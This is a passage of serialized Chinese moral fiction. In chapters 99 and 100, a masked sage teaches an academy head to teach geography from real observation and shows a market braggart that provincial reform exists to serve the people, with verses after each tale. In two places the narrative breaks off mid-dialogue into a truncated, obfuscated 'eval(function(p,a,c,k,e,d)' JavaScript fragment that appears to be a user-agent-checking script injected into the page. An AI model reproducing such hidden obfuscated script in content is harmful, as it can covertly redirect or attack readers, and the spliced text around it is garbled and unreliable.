“等咱们又忘了平台要平、仪器要准的时候,他大概就会回来吧。” 外乡人若有所思,登上观星楼。楼顶平台平整如镜,日晷立在中央,晷针的影子,正指向午时三刻。他俯身细看,平台四角,各有一个小小的“平”字,是当年以水测平时所刻。 也许那位天道先生,正在某个地方,看人观天测地吧。他想。 他抬头看天,夏日骄阳,正行在黄道上。低头看地,赤道虽不可见,但天地之衡,自在心中。 本章诫世 一、 道躔真义训 - 曰黄道,日所躔 - 曰赤道,当中权 - 破解法:为观测者,自问“仪器可准?平台可平?观测可实?推算可慎?”;为民者,自问“可明黄道赤道之理?可知天象农事之关?可曾盲从妄言?可曾实事求是?” 二、 三误三正 - 观天时之误在“妄断”——仪器不校,平台不平,妄言旱灾 - 观测法之误在“附会”——以日行偏南附会旱灾,无据妄言 - 农人之误在“盲从”——盲目信从,不辨真伪,险些误农时 - 三正:观天时严谨观测,农人看天看地,全镇实事求是 三、 衡之大道 - 深层隐喻:黄道赤道,天地自然之轨。观测天象,贵在精准,贵在实事求是。仪器不准,则观测皆谬;平台不平,则推算皆误。更不可妄加附会,妄言灾异。天行有常,不为尧存,不为桀亡,人当明其理,顺其道,而非妄测天命 - 终极指向:人之处世,贵在求实。观测天象要求实,推算农时要务实,听人言语要核实。不盲从,不妄信,不附会,不妄言。实事求是,方是正道 道躔偈: 青阳镇里观星楼,平台倾斜误测天。 楼主妄言主旱灾,农人惶恐误农时。 白衣先生来点化,水准一测平台斜。 仪器不校观测谬,妄言灾异害无边。 重修平台校仪器,严谨观测不妄言。 从此农人明事理,看天看地尽人事。 后世叹: 曰黄道,日所躔,曰赤道,当中权。 观星楼台偏三度,楼主妄言主旱年。 农人惶恐误农时,全镇险些遭灾殃。 天道先生来点化,仪器平台皆校严。 三载观测不妄言,五谷丰登乐丰年。 正是: 青阳镇中有星楼,楼主观天三代传。 平台倾斜不自知,妄言旱灾人心惶。 天道先生来点破,水准一测见倾斜。 仪器不校观测谬,妄言附会害无穷。 重修平台校仪器,三载严谨不妄言。 农人看天又看地,五谷丰登乐丰年。 99.山河谳 楔子·书院谬授 云梦镇有座“经纬书院”,乃镇上富绅筹资所建,专授地理、天文、算学诸科。山长姓“经”,名“纬世”,五十有余,执教书院二十载,在云梦镇颇有声望。 这日,经纬世正在讲堂授课,讲的是“中华山河”。堂下坐着三十余学子,皆是镇中俊秀。 经纬世手持教鞭,点着壁上舆图:“我中华之地,在赤道之东北。赤道下,温暖极;我中华,寒燠均,霜露改。右高原,左大海。此乃天地造化之奇也!” 学子们纷纷点头,埋头记录。 “再看江河淮济,此为四渎,水之纪也。岱华嵩恒衡,此为五岳,山之名也。”经纬世教鞭移向舆图上几条粗线、几座山峰,“四渎五岳,乃我中华血脉筋骨,尔等须牢记!” 学子中有一人举手:“山长,学生有一问。” “讲。” “学生曾随家父行商,南至南海,北至漠北,见江河之壮、山岳之雄,皆与图上所绘有异。譬如江河,舆图上只一粗线,实则江有九曲,河有百转;譬如五岳,舆图上只一点,实则山有千峰,谷有万壑。此图……是否太过简略?” 经纬世面色一沉:“此乃《一统舆图》,乃朝廷钦定,岂能有误!江河淮济,便是四条大水;岱华嵩恒衡,便是五座大山。你小小年纪,懂得什么!” 那学子名唤“陆明”,年方十六,家中行商,自幼随父走南闯北,见过真山真水。他欲再言,却被身旁同窗拉住。 经纬世继续道:“陆明,你既见过山河,那我问你:江河淮济,哪条最长?” “回山长,江最长。” “多长?” “这……学生不知。” “不知便莫要妄言!”经纬世冷哼,“江长六千三百里,河长五千四百里,淮长一千里,济长千余里。此乃定数,记下!” 陆明张嘴欲辩——江河长度,岂是定数?汛期与旱期不同,改道与淤塞有异,如何能是定数?但见山长面色不豫,只得噤声。 “再问:五岳之中,何者最高?” “回山长,西岳华山最高。” “多高?” “这……学生不知。” “不知便莫要妄语!”经纬世不悦,“华山高两千一百丈,泰山高一千五百丈,衡山高一千二百丈,恒山高两千丈,嵩山高一千五百丈。此乃定数,记下!” 陆明心中叫苦——山高丈量,本就难准,且山有峰峦,高低不同,如何能是定数?但他不敢再言。 这时,讲堂窗外传来一声叹息。 众人望去,见窗外立着一人。来人戴着一顶用芦杆编的斗笠,斗笠边缘缀着几片风干的荷叶。身上是件洗得发白的苎麻长衫,腰间用草绳系一柄木剑,剑身光滑,隐现木纹。脸上蒙着一方粗葛布,布色灰白,沾着尘土。 “这位是?”经纬世皱眉。 “过路之人,闻讲山河,驻足一听。”那人声音平和,“不料听了一耳谬误,故有叹息。” 经纬世大怒:“你是何人,敢说我谬误!” “非敢说山长谬误,只说道理。”那人缓步走进讲堂,对众学子拱手,“列位学子,山河地理,乃实地实景,非纸上谈兵。舆图所示,不过大概。江河有曲直,山岳有高低,四时不同,古今有异,岂能一概而论?” 陆明眼睛一亮,众学子也窃窃私语。 经纬世面色铁青:“此乃书院讲堂,岂容你放肆!来人,请此人出去!” 两名院工上前,那人却不慌不忙,从怀中取出一卷泛黄的古图,展开挂于壁上。那图绘得极细,江河蜿蜒,山岳连绵,与书院舆图大不相同。 “此乃《禹迹山河图》,为古人实地踏勘所绘。”那人指着图道,“列位请看,江河有九曲十八弯,舆图上一线,岂能尽显?山岳有千峰万壑,舆图上一点,岂能尽详?更遑论江河长度、山岳高低,四时有变,古今有异,岂有定数?” 众学子围拢观看,只见图上江河如龙蛇盘曲,山岳如星罗棋布,果然与书院舆图大异。 经纬世气得发抖:“此……此乃野图,不足为凭!” “是野图,还是实图?”那人转身,直视经纬世,“山长可曾亲临江河,测其曲直?可曾亲登五岳,量其高低?可曾踏勘四渎,观其水文?可曾遍历中华,察其寒燠?” “我……我熟读典籍……” “典籍所载,亦是前人所见。江河改道,山岳风化,沧海桑田,古今有异。若只读死书,不察实地,岂非坐井观天,纸上谈兵?” 经纬世语塞,面红耳赤。 那人又对众学子道:“赤道下,温暖极。我中华,在东北。此乃大概方位,不错。然中华之大,南北东西,寒燠各异,岂能一概‘寒燠均’?漠北苦寒,岭南炎熱,东海温润,西域干燥,此乃实地实情,舆图上一句‘寒燠均’,岂能尽括?” 他指着书院舆图:“右高原,左大海。不错,中华之西多山,之东临海。然高原之上有河谷,大海之滨有丘陵,地形多变,岂是‘高原、大海’四字可概?” “曰江河,曰淮济。此四渎,水之纪。不错,江、河、淮、济,确为四渎。然中华之水,何止四渎?珠江、辽河、松花江、澜沧江……皆是巨川,何以不纪?且江河淮济,古今有变,淮水已夺济水,济水几近湮没,舆图仍绘四条大水,岂非刻舟求剑?” “曰岱华,嵩恒衡。此五岳,山之名。不错,泰山、华山、嵩山、恒山、衡山,确为五岳。然中华之山,何止五岳?峨眉、黄山、庐山、雁荡……皆是名山,何以不名?且山岳高低,本无定数,舆图标注两千一百丈、一千五百丈,岂非妄言?” 他一口气说完,讲堂内鸦雀无声。 经纬世冷汗涔涔,跌坐椅中。 陆明激动起身,深揖一礼:“先生高见!学生随父行商,所见山河,确如先生所言!江河九曲,舆图一线,实难尽显!山岳千峰,舆图一点,实难尽详!更遑论长度高低,四时有异,古今有变,岂有定数!” 众学子也纷纷道:“先生说得是!”“咱们只知死记,从未想过这些!” 那人收起古图,对经纬世道:“山长,教书育人,贵在求真。山河地理,乃实地实景,当教学子识其变、察其异,而非死记硬背、盲从舆图。若只教定数,不教变通,只教大概,不教细节,学子出而用世,见真山真水,岂不茫然?” 经纬世面色灰败,良久,长叹一声:“先生……教训得是。纬世教书二十载,只知照本宣科,从未想过这些……误人子弟,误人子弟啊!” 他起身,对众学子深揖:“从今日起,地理一科,我当重授。舆图只作参考,当教诸位识山河之变、察地理之异!” 又对那人道:“还未请教先生高姓大名?” “我姓地,名理,字察之。” “地理察之……”经纬世喃喃,忽问,“先生这《禹迹山河图》,可否借我一观?” “可。”地理察之递过图卷,“此图可传抄,然需切记:山河在变,舆图亦当常新。莫要奉古图为圭臬,当以实地为真。” 经纬世双手接过,如获至宝。 地理察之又对众学子道:“尔等求学,当知山河在野,不在纸上。他日若有机缘,当亲临江河,亲登山岳,以目观之,以足量之,以心察之。如此,方知山河真貌。” 众学子齐声道:“谨记先生教诲!” 地理察之拱手告辞。经纬世急追出讲堂:“先生留步!这地理一科,该如何重授,还请先生指点!” 地理察之回头,斗笠下的葛布微微扬起:“教山河,当教其变。江河有曲直,教其曲直之由;山岳有高低,教其高低之故;寒燠有异,教其异同之理。舆图是死,山河是活,教死不如教活。” 说罢,他转身离去,芦杆斗笠在讲堂外的阳光下,泛着淡淡的金色。 一、 经纬世的悔悟 地理察之走后,经纬世在讲堂中呆立良久。他展开那卷《禹迹山河图》,细细观看,越看越心惊。 图上江河,蜿蜒如龙,分明是实地踏勘所绘,与书院那幅简略的《一统舆图》天差地别。山岳峰峦,层叠如浪,哪里是舆图上几个点可表? “我误人子弟二十载啊!” 他想起自己当年求学,也是这般照本宣科,死记硬背。老师教“江河长六千三百里”,他便记“江河长六千三百里”;老师教“华山高两千一百丈”,他便记“华山高两千一百丈”。从未想过江河有曲直,长度难量;山岳有峰峦,高低难测。更未想过,山河在变,古今有异。 教书二十载,他也这般教学生。舆图是死的,数字是定的,山河是纸上的。学生问起,他便以“朝廷钦定”、“典籍所载”搪塞。若有质疑,便斥为“妄言”。 “陆明那孩子,随父行商,见过真山真水,所言才是实情。我却斥他妄言,岂非闭目塞听?” 他羞愧难当,当即将《一统舆图》从壁上取下,卷起收起。又命院工取来白纸,将《禹迹山河图》悬于壁上。 次日地理课,经纬世对众学子深揖一礼。 “昨日地理察之先生所言,如醍醐灌顶。我教书二十载,只知照本宣科,死记硬背,误人匪浅。从今日起,地理一科,当重授。” 他指着《禹迹山河图》:“此图为古人实地踏勘所绘,虽古,却近实。然山河在变,古今有异,此图只可参考,不可奉为圭臬。从今往后,我当教诸位识山河之变、察地理之异。” 他不再教“江河长六千三百里”,而是教江河发源于何,流经何处,何处曲折,何处平直,何处湍急,何处缓流。 他不再教“华山高两千一百丈”,而是教华山有几峰,各峰何状,何处险峻,何处秀丽,山石何质,草木何类。 他教寒燠之别:漠北何以苦寒,岭南何以炎熱,东海何以温润,西域何以干燥。 他教地形之异:高原之上有河谷,大海之滨有丘陵,平原有洼地,山地有盆地。 他教四渎之变:淮水夺济,济水湮没,江河改道,水系变迁。 他教五岳之名:泰山之雄,华山之险,嵩山之峻,恒山之幽,衡山之秀。亦教他山:峨眉之秀,黄山之奇,庐山之峻,雁荡之丽。 学子们听得津津有味。陆明更是积极,常以行商所见补充,师生相得,讲堂生辉。 经纬世又在书院中立了一块木牌,上书:“山河在野,不在纸上。教地理者,当教其变;学地理者,当察其异。死记硬背,不如亲临一观。” 二、 学子的醒悟 经纬世重授地理,学子们受益匪浅。 从前,他们学地理,只知死记硬背:“江河长六千三百里”,“华山高两千一百丈”,“中华寒燠均”,“右高原左大海”。至于江河为何那么长,华山为何那么高,中华寒燠为何均,高原大海是何状,一概不知。 如今,他们明白了:江河长度,本就难量,且四时有变,古今有异;山岳高低,本就难测,且峰峦不同,角度有差;中华之大,寒燠各异,岂能一概“均”?高原大海,地形多变,岂是四字可括? “原来地理要这么学!” “怪不得我爹常说‘读万卷书,不如行万里路’,山河在野,得亲眼见!” “往后我若有机会,定要亲临江河,亲登山岳!” 陆明更是将行商所见,细细说与同窗。他说江河九曲,舟行其中,如在龙腹;说山岳千峰,登临其上,如在天宫;说漠北风沙,刮面如刀;说岭南瘴气,蒸人如笼;说东海波涛,接天连地;说西域戈壁,茫茫无际。 同窗们听得如痴如醉,对真山真水心生向往。 “陆兄,下次行商,带我去可好?” “我也想去!看看真江河,真山岳!” “咱们约好,将来一起游历中华,亲临四渎五岳!” 经纬世见学子们如此,心中欣慰。他不再拘泥讲堂,常带学子们出书院,观云梦镇周边地形。 “看,那是云梦泽,古时大泽,今已淤塞成田。此乃沧海桑田之变。” “看,那是卧牛山,山不高,却有七峰,峰峰不同。此乃山岳多变之状。” “看,镇南温暖,镇北寒凉,一镇之中,寒燠有异。此乃地理之微。” 学子们实地观察,获益良多。有那聪慧的,还绘了云梦镇舆图,标注山川河流、寒燠差异,比书院那幅《一统舆图》细致得多。 经纬世将学子所绘之图悬于讲堂,赞道:“此图虽只一镇,却是实地踏勘,胜那《一统舆图》多矣!” 三、 舆图的故事 经纬世重授地理之事,渐渐传开。附近书院的山长、夫子,闻讯前来观摩。 见经纬世不教死图,而教活地理;不授定数,而授变通;不拘讲堂,而带学子实地观察,皆啧啧称奇。 “经山长,你这教法新奇!” “原来地理要这么教!” “我那书院,还在教‘江河长六千三百里’,惭愧惭愧!” 经纬世便拿出《禹迹山河图》,又展示学子所绘云梦镇图,道:“舆图是死,山河是活。教地理,当教其活。江河有曲直,教其曲直之由;山岳有高低,教其高低之故;寒燠有异,教其异同之理。若只教死图死数,学子出而用世,见真山真水,岂不茫然?” 众山长夫子深以为然,回去后纷纷改革教法。有那条件好的,也带学子实地观察;条件差的,至少不再教死数,而教变通。 《禹迹山河图》也被广为传抄。抄图者发现,此图虽古,却标注详实,且在图侧有小字注解:“江河有变,山岳有移,此图只录当时之貌,后之观者,当察今昔之异。” “原来古人绘图,也知山河在变!” “是啊,咱们却奉死图为圭臬,岂不可笑?” “往后教地理,得教变,不能教死!” 地理察之的名声,渐渐在教书先生中传开。都说有位戴芦杆斗笠、蒙葛布的高人,精通地理,点破迷障,使人明“山河在野”之理,知“教活地理”之要。 四、 三年后的讲堂 三年后的一个秋日,经纬书院讲堂中坐满了人。不仅有本院学子,还有附近书院的师生,甚至有些镇民也来听讲。 经纬世正在讲授“江河之变”。 “……故曰:江河淮济,此四渎,水之纪。然江河有九曲,淮济有变迁。今之淮水,已夺济水故道;古之济水,几近湮没。此乃水势自然,非人力可阻。教地理者,当教其变;学地理者,当察其异……” 他讲得生动,引经据典,又辅以《禹迹山河图》与学子所绘诸图,众人听得入神。 讲毕,有学子问:“山长,那五岳高低,究竟几何?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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地理察之摇头:“知山河,非为知而知;明大势,非为明而明。学地理,是为知这方水土,养这方人。知江河,方知水利;知山岳,方知矿藏;知寒燠,方知农时;知地形,方知城建。知而后用,用而利民,方是地理之本。” 众学子肃然。 经纬世深有感触:“先生所言极是!从前我只教死图死数,学子学而不知用。如今教山河之变、地理之异,学子们方知地理之用。” 地理察之从怀中取出一卷书,递给经纬世:“此乃《山河志异》,是我游历四方,记录各地山川地貌、气候物产、风俗民情所编。你可传抄于众,供学子参考。” 经纬世双手接过,如获至宝。 地理察之又对众学子道:“此书可参阅,但需切记:山河在变,民情在移。此书所录,只一时一地之貌。他日尔等若亲临其地,当以目观之,以耳闻之,以心察之,莫要拘泥书本。” 众学子齐声道:“谨记先生教诲!” 地理察之拱手告辞。经纬世急问:“先生此番何往?” “四方游历,看人教地理、学地理。”地理察之道,“看人是教死图死数,还是教山河之变;是学纸上谈兵,还是学实地察勘。” “先生还会回来么?” “等你们又教死图死数、学纸上谈兵的时候,我大概就会回来。” 他走了,芦杆斗笠在秋阳下,泛着温暖的光。苎麻长衫的下摆,扫过讲堂门槛,带起几片落叶。 经纬世对着那背影深深一揖,久久不起。 众学子、众师生、众镇民,也纷纷作揖。 尾声山河谣 多年后,云梦镇的孩童玩耍时,会唱一首童谣: 赤道下,温暖极,我中华,在东北。 寒燠异,地形变,右高原,左大海。 江河弯,淮济迁,四渎水,古今变。 岱华雄,嵩恒峻,五岳外,多名山。 地理先生来点化,死图死数误人多。 教地理,要教活,山河在野要亲观。 学子实地察山水,方知舆图是大概。 从此书院气象新,教活地理利万民。 有外乡人听了,问镇里老人:“这地理先生是何人?” 老人便会指着经纬书院说:“是位教人识山河、察地理的先生。他来了,经山长知错了,不教死图了,学子们实地察勘了,咱们镇的孩子都知道山河在野不在纸上了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又只教死图死数、不察实地的时候,他大概就会回来吧。” 外乡人若有所思,走进经纬书院。讲堂壁上,悬着《禹迹山河图》与学子所绘的十几幅舆图,有江河图,有山岳图,有云梦镇图,有寒燠分布图……图图精细,标注详实。 也许那位地理先生,正在某个地方,看人绘舆图、察山河吧。他想。 他走出书院,秋高气爽。远处卧牛山七峰连绵,近处云梦泽田畴阡陌。山河在野,果然在野。 本章诫世 一、 山河真义训 - 赤道下,温暖极。我中华,在东北 - 寒燠均,霜露改。右高原,左大海 - 曰江河,曰淮济。此四渎,水之纪 - 曰岱华,嵩恒衡。此五岳,山之名 - 破解法:为师者,自问“可教死图死数?可知山河在变?可曾实地察勘?”;为学者,自问“可死记硬背?可知舆图是概?可愿亲临山河?” 二、 三谬三正 - 经纬世之谬在“教死”——只教死图死数,不教山河之变 - 舆图之谬在“过简”——一线表江河,一点表山岳,四字括寒燠地形 - 学子之谬在“盲从”——死记硬背,不察实地,不辨真伪 - 三正:经纬世教活地理,学子实地察勘,书院气象一新 三、 察之大道 - 深层隐喻:山河在地,不在纸上。舆图所示,不过大概。江河有曲直,山岳有高低,寒燠有异,地形有变,古今有异。教地理者,当教其变;学地理者,当察其异。死记硬背,不如亲临一见;纸上谈兵,不如实地察勘 - 终极指向:求学之道,贵在求真。地理要求真,历史要求真,诸科皆要求真。真在实地,不在纸上;真在变通,不在死记;真在活用,不在硬背。求真而后用,用而利民,方是学问之本 山河偈: 云梦镇里经纬院,山长教死误人多。 死图死数纸上兵,学子盲从不察实。 地理先生来点化,山河在野要亲观。 教地理,要教活,江河山岳古今变。 从此书院气象新,实地察勘求真知。 后世叹: 赤道下,温暖极,我中华,在东北。 寒燠异,地形变,江河弯,山岳连。 书院死教舆图简,学子死记误己深。 地理先生来点化,山河在野要亲观。 三载教活气象新,实地求真利万民。 正是: 云梦镇中有书院,山长教死地理科。 死图死数纸上兵,学子盲从不知变。 地理先生来点化,山河在野要亲观。 教活地理授变通,实地察勘求真知。 从此书院气象新,学子明理利万民。 100.改制谳 楔子·市集谬谈 平阳镇逢五逢十有大集,四乡八里的人都来赶集。这日正是十五,市集上人声鼎沸,货摊琳琅满目。市集中央有棵老槐树,树下常有人聚着闲聊。 今日树下围了一大圈人,中间站着个穿绸衫的中年人,姓“贾”,名“通今”,是镇上有名的“百事通”,常在人前卖弄见识。 贾通今手摇折扇,唾沫横飞:“……所以说,这古九州,今改制,称行省,三十五!列位可知,这改制是为何?” 围观的多是些贩夫走卒、乡野百姓,纷纷摇头。 “这都不知?”贾通今得意道,“古时分九州,是禹王治水后所划。今时分行省,是朝廷为便于治理所设。行省有三十五,譬如咱们所在的平阳镇,就属‘河东行省’!” 有人问:“贾先生,这改制是好是坏?” “自然是好!”贾通今扇子一收,“古时九州,地广人稀,治理不便。今时行省,划分细致,治理便利。譬如河东行省,下辖八府,府下辖县,县下辖镇,镇下辖村,层层管辖,有条不紊。此乃朝廷圣明,造福百姓!” 众人纷纷点头。有老农叹道:“原来咱们平阳镇,是这么一层层管下来的。怪不得每年要交粮纳税,都是按这行省府县的规矩来。” “正是!”贾通今道,“行省有行省的规矩,府有府的规矩,县有县的规矩。咱们平阳镇,属河东行省平阳府平阳县,所以得按平阳县的规矩办事。这叫‘名正言顺,规矩分明’!” 又有人问:“贾先生,那咱们河东行省,是三十五省里的第几省?” “这……”贾通今一愣,随即道,“自然是第一等大省!咱们河东,自古富庶,人口众多,在三十五省里,那是数一数二的!” 众人与有荣焉,纷纷挺起胸膛。 这时,人群中响起一个声音:“错了。” 众人望去,见说话的是个戴斗笠、蒙面纱、穿白衣的外乡人。斗笠是用细竹篾编的,边缘缀着几缕风干的蓑草。白衣是粗麻所制,洗得发白,腰间用草绳系一柄木剑。面纱是葛布,遮了半张脸,只露出一双清亮的眼睛。 贾通今皱眉:“这位兄台,何错之有?” “古九州,今改制,称行省,三十五。”那人缓缓念出这十二字,声音平和,“这话本身不错。但贾先生说‘改制是为便于治理’、‘行省划分细致,治理便利’,却只说对了一半。” “一半?”贾通今不悦,“那你说,另一半是什么?” “另一半是,改制是为便民,非为治民。”那人走出人群,对众人拱手,“列位乡邻,古时九州,地域广袤,交通不便,消息难通。朝廷设州牧、刺史,治理一方,本是为民。然地域太广,治理难免疏漏,故有改制。” 他顿了顿,继续道:“今时分行省,确为便于治理。但治理是手段,便民是目的。若只重治理,不重便民,则改制失了本义。行省有三十五,府县镇村层层管辖,若每层只知收粮收税,不知为民办事,则这改制,于民何益?” 众人窃窃私语。贾通今面红耳赤:“你……你胡说!朝廷设行省,自然是为民!” “为民与否,不在名目,在实效。”那人道,“贾先生说河东行省是‘第一等大省’,敢问这‘第一等’,是以何为据?是百姓富庶?是道路畅通?是讼狱清明?是仓廪充实?还是只以粮税多寡、人口众寡而论?” 贾通今语塞。 “行省之分,本为因地制宜,便民利民。”那人环视众人,“譬如江南水乡,河道纵横,当重水利;塞北草原,地广人稀,当重牧政;西南山岭,矿产丰富,当重开采;沿海之地,渔盐之利,当重商贸。行省之设,当顺其地,宜其民,而非一刀切,一律同。” 他问众人:“列位可知,咱们河东行省,有何特产?有何便利?有何难处?” 众人摇头。有老农道:“咱们这儿产麦,也产枣。便利……便利说不上,难处倒不少。赋税重,路难行,打官司更难。” “这便是了。”那人点头,“行省之设,本当解此难处。赋税重,当酌情减免;路难行,当修桥铺路;讼狱难,当简化章程。若只知设行省、设府县,却不解民难,不纾民困,则行省再多,于民何用?” 贾通今强辩道:“朝廷自有法度,岂容你妄议!” “非敢妄议,只说道理。”那人从怀中取出一卷发黄的旧册,展开示众,“此乃《禹贡九州图》,古时九州之制。列位请看,九州之分,本依山川形便,因地制宜。冀州多平原,宜农耕;兖州近河,宜水利;青州临海,宜渔盐;徐州多山,宜矿冶……此乃古人之智,知地之宜,顺民之利。” 他又取出一卷较新的册子:“此乃《行省舆图》,今时三十五省之制。列位请看,行省之分,亦依山川形便。然舆图之上,只见疆界,不见民生;只见区划,不见利弊。行省之设,若只重疆界,不重民生,则舆图再精,亦是虚文。” 众人围观两图,果见《禹贡九州图》上标注各地物产、利弊,而《行省舆图》上只有疆界、地名。 贾通今冷汗涔涔,无言以对。 那人收起图卷,对众人道:“改制之要,在便民利民。行省之设,在因地制宜。古九州,今行省,名目虽变,其理一也:顺天时,应地理,宜民生。若只知改制之名,不知改制之实;只知行省之数,不知行省之责,则改制不过虚文,行省不过空壳。” 他转向贾通今:“贾先生熟记‘古九州,今改制,称行省,三十五’,却不知改制之本、行省之要,只以‘第一等大省’自矜,岂非买椟还珠,舍本逐末?” 贾通今面如死灰,跌坐树下。 众人哗然。有那明白的,叹道:“这位先生说得好!咱们只知行省府县,却不知这些名目,到底为的啥!” “是啊,赋税照交,路照样难走,官司照样难打,行省不行省,有啥区别?” “原来改制是为便民,不是为治民。这道理,从前没人说过!” 那人拱手道:“今日多言,望列位明理:改制为民,行省便民。他日若遇不便,当思改制之本,莫只怨行省之设。” 说罢,他转身欲走。 “先生留步!”贾通今忽然爬起,深揖一礼,“先生一席话,如雷贯耳。贾某卖弄浅识,贻笑大方。敢问先生高姓大名?” “我姓制,名度,字宜之。” “制度宜之……”贾通今喃喃,忽问,“先生这《禹贡九州图》与《行省舆图》,可否借我一观?” “可。”制度宜之递过图卷,“此二图可对观,可知古今改制之变,亦可知改制之要,在宜民非在治民。” 贾通今双手接过,如获至宝。 制度宜之又对众人道:“舆图在此,列位可传观。然需切记:舆图是死,民生是活。改制之行,在活不在死;行省之设,在宜不在划。” 说罢,他戴上斗笠,走入人群,白衣飘飘,转瞬不见。 一、 贾通今的悔悟 制度宜之走后,贾通今在槐树下呆立良久。他展开两卷舆图,细细对观,越看越心惊。 《禹贡九州图》上,九州之分,依山川形便,且标注各地物产利弊,分明是为便民利民而设。《行省舆图》上,行省之分,虽亦依山川,却只标疆界地名,不见民生利弊。 “我卖弄浅识二十年啊!” 他想起自己这些年,只知背诵“古九州,今改制,称行省,三十五”,以此在人前卖弄,博个“百事通”的名头。至于改制为何,行省何为,民生何如,从未深究。别人问起,便以“朝廷圣明”、“治理便利”搪塞。若有质疑,便斥为“无知”。 “那位先生说得好,改制为民,行省便民。我只知治民,不知便民,岂非本末倒置?” 他羞愧难当,当即将两卷舆图悬于槐树下,对围观未散的众人深揖一礼。 “贾某浅薄,误人误己。从今日起,贾某当闭门思过,研习改制民生之理,再不妄言!” 众人见他诚恳,便劝道:“贾先生知错能改,善莫大焉。只是这舆图,咱们也想看看。” 贾通今便道:“舆图在此,列位可随意观览。贾某每日在此讲解,与列位共学!” 从此,每逢市集,贾通今便在槐树下悬图讲解。他不再卖弄“第一等大省”,而是讲解九州改制之由、行省便民之要。他结合平阳镇实际,讲赋税、讲道路、讲讼狱、讲民生。 “列位看,古时冀州,咱们这儿属冀州。冀州平原,宜农耕,故禹王划九州时,以此地为重农之所。今时河东行省,亦当重农。然咱们赋税重,农人苦,此非改制本意。” “行省之设,本当酌情减免赋税,鼓励农耕。若只知收税,不知纾困,则行省何用?” “道路难行,本当修桥铺路,便利交通。若只知设关卡,收路税,则道路何通?” “讼狱难打,本当简化章程,公正断案。若只知设衙门,收讼费,则讼狱何清?” 他讲得实在,众人听得入心。有那受过赋税之苦、道路之难、讼狱之累的,纷纷诉苦。贾通今一一记下,道:“这些难处,当想法解决。咱们虽是小民,亦可知理,可建言。改制为民,咱们民不提,谁提?” 众人称是。贾通今又在槐树下立了块木牌,上书:“古九州,今改制,称行省,三十五。改制在便民,行省在利民。民不提,改制虚;民不便,行省空。” 二、 百姓的醒悟 贾通今在槐树下讲改制、讲民生,平阳镇的百姓渐渐醒悟。 从前,他们只知行省府县,是管他们的。缴粮纳税,是因行省府县有这规矩;服役当差,是因行省府县有这要求;打官司告状,得按行省府县的章程。至于行省为何设,府县为何立,改制为何行,他们不知,也不想知。 如今,他们明白了:改制是为便民,行省是为利民。缴粮纳税,是为修路架桥、兴学助教;服役当差,是为保境安民、维护公正;打官司告状,是为申冤理枉、安定民生。若只收粮税而不修路,只征役差而不安民,只设衙门而不理枉,则改制是虚,行省是空。 “原来改制是这个理!” “怪不得贾先生常说‘民不提,改制虚;民不便,行省空’,咱们不提不便,谁管?” “往后缴粮纳税,得问问这粮税用在哪了;服役当差,得问问这役差为的啥;打官司告状,得问问这章程合不合理。” 有那胆大的,真去县衙问粮税用途、问役差缘由、问章程合理与否。县衙胥吏起初不悦,但问的人多了,也只得解释。有些解释不清的,便上报府衙。府衙亦不敢怠慢,因民生之事,最易生变。 渐渐地,平阳县的粮税,有了明细;役差,有了说法;章程,有了公示。虽未尽善,但较之从前,已透明许多。 百姓们又聚在槐树下商议:“咱们平阳镇,有啥特产?有啥便利?有啥难处?” “特产是麦和枣。便利嘛……离河近,灌溉便。难处嘛,赋税还是重,路还是难走,官司还是难打。” “特产得卖出去,才能换钱。路难走,特产运不出去,咋办?” “咱们自己修路!贾先生不是说,改制为民,民可自为?” “对!咱们自己修路!赋税重,咱们一起上书,请减免!” “官司难打,咱们一起议个章程,请县衙采纳!” 众人说干就干。修路的修路,上书的的上书,议章程的议章程。虽艰难,但有了方向,有了劲头。 贾通今在槐树下,将众人所议记录下来,成《平阳民生三事》:一曰减赋税,二曰修道路,三曰简章程。他携此册,奔走于县衙、府衙之间,为民请命。 府县官员见民情汹汹,且所请合理,不敢轻视。经数月周旋,终有所成:赋税酌情减免,道路拨款修缮,章程部分简化。 消息传回,平阳镇欢声雷动。百姓们聚在槐树下,谢贾通今,更谢那位制度宜之先生。 “若非制度先生点破改制之本,咱们还在糊涂呢!” “是啊,改制为民,行省便民。咱们不提,谁提?咱们不为,谁为?” “往后啊,咱们得知改制,知行省,更得知民生,行实事!” 三、 舆图的流传 贾通今为民请命之事,渐传周边。附近乡镇的百姓,闻讯来平阳镇取经。贾通今便将《禹贡九州图》与《行省舆图》借出传抄,更将《平阳民生三事》册子广为散发。 “改制为民,行省便民。此理通行天下。” “咱们百姓,得知改制之本,方不受治;知行省之要,方不被治。” “民生三事,各地不同,但理同:减赋税,修道路,简章程。此乃便民利民之要。” 抄图者、传册者,回去后亦在本地宣讲。有那开明的乡绅,亦加入其中。一时间,“改制为民,行省便民”之理,传遍河东。 有那地方官员,闻知此理,亦有所悟。有那开明的,便主动减免赋税,兴修道路,简化章程;有那保守的,见民情如此,亦不敢肆意妄为。 制度宜之的名声,渐渐在河东传开。都说有位戴竹篾斗笠、蒙葛布的高人,精通改制,点破迷障,使人明“改制为民”之理,知“行省便民”之要。 四、 三年后的市集 三年后的一个市集日,槐树下又围满了人。不仅有平阳镇的百姓,还有周边乡镇的乡民。 贾通今正在讲解“古九州,今改制”。 “……故曰:改制之要,在宜民。行省之设,在便民。古时九州,依山川形便,宜各地之民。今时行省,亦当如是。咱们河东行省,产麦产枣,当重农重商;水陆要冲,当重修路通河;民风淳朴,当重教化简讼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好。”制度宜之点头,“知改制为民,则不受虚治;知行省便民,则不被空治;知民生可自为,则不行坐等。此乃百姓之智,民生之福。” 他又问:“然改制之行,行省之设,终是上方之事。百姓知之,可矣;百姓为之,可嘉。但需切记:改制在宜,不在多;行省在便,不在繁。若改制过多,行省过繁,反成扰民。此理亦当明。” 众人肃然。贾通今道:“先生所言极是!咱们但求便民,不务虚名;但求利民,不贪多繁。” 制度宜之从怀中取出一卷书,递给贾通今:“此乃《改制民生鉴》,是我游历各地,记录改制得失、民生利弊所编。你可传抄于众,供百姓参考。” 贾通今双手接过,如获至宝。 